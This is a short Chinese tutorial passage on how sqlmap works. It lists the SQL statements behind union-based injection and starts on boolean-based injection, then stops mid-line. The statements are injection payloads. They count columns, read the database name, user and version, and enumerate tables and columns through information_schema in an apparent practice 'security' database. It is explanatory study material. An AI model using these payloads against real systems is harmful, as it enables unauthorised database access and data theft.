sqlmap原理及常用指令

SqlMap实战
原理
union注入
select * from security.users;
select * from users where id=1 order by 3;
select * from users where id=1 union select 1,(database()),3;
user(),version()
select * from users where id=1 union select 1,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),3;
select * from users where id=1 union select 1,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘user’ limit 0,1),3;
select * from users where id=1 union select 1,(select column_name from information_schema.columns where table_schema =(select database()) and table_name =(select table_name from information_schema.tables where table_schema =(select database()) limit 0,1) limit 0,1),3;
boolean注入
select * from users where id=1 and length(database())>=1 ;
select * from users where id=1 and substr(database()